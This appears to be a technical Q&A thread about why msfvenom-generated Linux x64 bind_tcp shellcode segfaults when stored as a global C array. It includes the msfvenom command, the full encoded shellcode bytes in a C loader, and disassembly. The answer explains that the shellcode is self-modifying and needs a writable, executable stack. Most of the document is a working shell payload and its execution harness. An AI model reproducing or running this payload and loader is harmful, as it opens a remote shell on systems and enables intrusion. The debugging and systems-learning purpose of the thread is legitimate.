I am generating bind_tcp shellcode on my Ubuntu with the following command:
msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234
And my C code to test it is:
#include <stdio.h>
#include <string.h>
__attribute__((section(".text#")))
unsigned char code[] =
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
"\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
"\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
"\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
"\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
"\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
"\x91\x5d\xef\x3f\x2e\xf1\x54";
int main() {
printf("Shellcode Length %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling the code with
gcc -z execstack -fno-stack-protector -o shellCode shellCode.c then running ./shellCode generates a segmentation fault. However, if I move the code array into the main function (and remove the __attribute__), the code works and I can exploit with msfconsole.
My question is: why does defining code as a global variable not work? I have checked both the ELF files, and both times the code is under the .text section. But the difference is:
In the global variable version, the shellcode resides in a separate section called
codeinside section.textand the disassembly seems incorrect:0000000000001180 <code>: 1180: 48 31 c9 xor rcx,rcx 1183: 48 81 e9 f6 ff ff ff sub rcx, 0xfffffffffffffff6 118a: 48 8d 05 ef ff ff ff lea rax,[rip +0xffffffffffffffef] # 1180 <code> 1191: 48 bb ce ce 52 ea c0 movabs rbx, 0x54f1c8c0ea52cece 1198: c8 f1 54 119b: 48 31 58 27 xor QWORD PTR [rax +0x27],rbx 119f: 48 2d f8 ff ff ff sub rax, 0xfffffffffffffff8 11a5: e2 f4 loop 119b <code+0x1b> 11a7: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi] 11a8: e7 0a out 0xa,eax 11aa: 73 aa jae 1156 <__do_global_dtors_aux+0x36> 11ac: ca ae 3e retf 0x3eae 11af: cf iret 11b0: 90 nop 11b1: 5d pop rbp 11b2: ef out dx,eax 11b3: 88 5f a3 mov BYTE PTR [rdi-0x5d],bl 11b6: 93 xchg ebx,eax 11b7: ca ea 50 retf 0x50ea 11ba: ea (bad) 11bb: c4 (bad) 11bc: 1a b9 dd 28 a4 42 sbb bh,BYTE PTR [rcx +0x42a428dd] 11c2: b0 aa mov al,0xaa 11c4: f9 stc 11c5: a9 5b cb 97 38 test eax,0x3897cb5b 11ca: d8 98 c7 f4 1c 58 fcomp DWORD PTR [rax +0x581cf4c7] 11d0: a4 movs BYTE PTR es:[rdi], BYTE PTR ds:[rsi] 11d1: 79 b2 jns 1185 <code+0x5> 11d3: cf iret 11d4: cd a1 int 0xa1 11d6: 02 91 a4 5b b2 59 add dl,BYTE PTR [rcx +0x59b25ba4] 11dc: 7e e1 jle 11bf <code+0x3f> 11de: 1c 47 sbb al,0x47 11e0: 18 1f sbb BYTE PTR [rdi],bl 11e2: db 09 fisttp DWORD PTR [rcx] 11e4: a2 d3 15 94 7c 55 e5 movabs ds:0x80c5e5557c9415d3,al 11eb: c5 80 11ed: 67 1c 59 addr32 sbb al,0x59 11f0: 91 xchg ecx,eax 11f1: 5d pop rbp 11f2: ef out dx,eax 11f3: 3f (bad) 11f4: 2e f1 cs icebp 11f6: 54 push rspIn the local variable version it looks like this (starting from line 1175):
1169: f3 0f 1e fa endbr64 116d: 55 push rbp 116e: 48 89 e5 mov rbp,rsp 1171: 48 83 c4 80 add rsp,0xffffffffffffff80 1175: 48 b8 48 31 c9 48 81 movabs rax,0xfff6e98148c93148 117c: e9 f6 ff 117f: 48 ba ff ff 48 8d 05 movabs rdx,0xffffef058d48ffff 1186: ef ff ff 1189: 48 89 45 80 mov QWORD PTR [rbp-0x80],rax 118d: 48 89 55 88 mov QWORD PTR [rbp-0x78],rdx 1191: 48 b8 ff 48 bb ce ce movabs rax,0xc0ea52cecebb48ff 1198: 52 ea c0 119b: 48 ba c8 f1 54 48 31 movabs rdx,0x482758314854f1c8 11a2: 58 27 48 11a5: 48 89 45 90 mov QWORD PTR [rbp-0x70],rax 11a9: 48 89 55 98 mov QWORD PTR [rbp-0x68],rdx 11ad: 48 b8 2d f8 ff ff ff movabs rax,0xa4f4e2fffffff82d 11b4: e2 f4 a4 11b7: 48 ba e7 0a 73 aa ca movabs rdx,0xcf3eaecaaa730ae7 11be: ae 3e cf 11c1: 48 89 45 a0 mov QWORD PTR [rbp-0x60],rax 11c5: 48 89 55 a8 mov QWORD PTR [rbp-0x58],rdx 11c9: 48 b8 90 5d ef 88 5f movabs rax,0xca93a35f88ef5d90 11d0: a3 93 ca 11d3: 48 ba ea 50 ea c4 1a movabs rdx,0x28ddb91ac4ea50ea 11da: b9 dd 28 11dd: 48 89 45 b0 mov QWORD PTR [rbp-0x50],rax 11e1: 48 89 55 b8 mov QWORD PTR [rbp-0x48],rdx 11e5: 48 b8 a4 42 b0 aa f9 movabs rax,0xcb5ba9f9aab042a4 11ec: a9 5b cb 11ef: 48 ba 97 38 d8 98 c7 movabs rdx,0x581cf4c798d83897 11f6: f4 1c 58 11f9: 48 89 45 c0 mov QWORD PTR [rbp-0x40],rax 11fd: 48 89 55 c8 mov QWORD PTR [rbp-0x38],rdx 1201: 48 b8 a4 79 b2 cf cd movabs rax,0x9102a1cdcfb279a4 1208: a1 02 91 120b: 48 ba a4 5b b2 59 7e movabs rdx,0x471ce17e59b25ba4 1212: e1 1c 47 1215: 48 89 45 d0 mov QWORD PTR [rbp-0x30],rax 1219: 48 89 55 d8 mov QWORD PTR [rbp-0x28],rdx 121d: 48 b8 18 1f db 09 a2 movabs rax,0x9415d3a209db1f18 1224: d3 15 94 1227: 48 ba 7c 55 e5 c5 80 movabs rdx,0x591c6780c5e5557c 122e: 67 1c 59 1231: 48 89 45 e0 mov QWORD PTR [rbp-0x20],rax 1235: 48 89 55 e8 mov QWORD PTR [rbp-0x18],rdx 1239: 48 b8 91 5d ef 3f 2e movabs rax,0x54f12e3fef5d91 1240: f1 54 00 1243: 48 89 45 f0 mov QWORD PTR [rbp-0x10],rax 1247: 48 8d 45 80 lea rax,[rbp-0x80] 124b: 48 89 c7 mov rdi,rax 124e: e8 0d fe ff ff call 1060 <strlen@plt> 1253: 48 89 c6 mov rsi,rax 1256: 48 8d 3d a7 0d 00 00 lea rdi,[rip+0xda7] # 2004 <_IO_stdin_used+0x4> 125d: b8 00 00 00 00 mov eax,0x0 1262: e8 09 fe ff ff call 1070 <printf@plt> 1267: 48 8d 45 80 lea rax,[rbp-0x80] 126b: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 126f: 48 8b 55 f8 mov rdx,QWORD PTR [rbp-0x8] 1273: b8 00 00 00 00 mov eax,0x0 1278: ff d2 call rdx 127a: b8 00 00 00 00 mov eax,0x0 127f: c9 leave 1280: c3 ret 1281: 66 2e 0f 1f 84 00 00 nop WORD PTR cs:[rax+rax*1+0x0] 1288: 00 00 00 128b: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
Does msfvenom require making the shellcode a local variable? If so, is there any way to walk around this mechanism?
As you can see from the first few instructions of the shellcode you're trying to execute:
The shellcode is self-modifying. The first few instructions locate the rest of the machine code to execute, load the address into RAX, and then XOR it 8 bytes at a time with the constant
0x54f1c8c0ea52cecein a loop. When that's done (after 10 iterations it seems, since RCX starts from 10) the rest of the shellcode will be executed.This works well if you declare the code in a section that is readable, writable and executable (such as the stack when using
-z execstack), but it definitely cannot work in a section that is only readable and executable (such as the text). Therefore, you should either use the stack (local variable) or tell Msfvenom to produce shellcode that is not self-modifying. Not sure how to accomplish the second option since I've never used that tool, but maybe look at a different-ppayload or look at--payload-options.The second code snippet for the local variable case seems to make more sense only because declaring a local buffer on the stack will result in the compiler emitting a bunch of MOV/MOVABS instructions to populate the buffer before the actual function starts. So what you see is not the shellcode, but merely code that is writing the shellcode to the stack. The actual shellcode execution starts here:
And you will not be able to see/dump it with a simple disassembler like you did in the first case.
In any case, the shellcode that gets executed will still be the same as the one you printed for the global variable case. It will self-modify and then execute. This time however it will work because the stack is RWX with
-z execstack.If you run your program under a debugger such as GDB and single-step after
call rdx, you will be able to see the self-modification happen and you will be able to observe the rest of the code after it is XORed. I did this for you, and the shellcode after the loop looks like this:P.S.: that "section" you see called
code:Is not a section, it's just a symbol referring to the global variable
code, andobjdump(or whatever tool you used to disassemble the ELF) is highlighting where the symbol starts for you.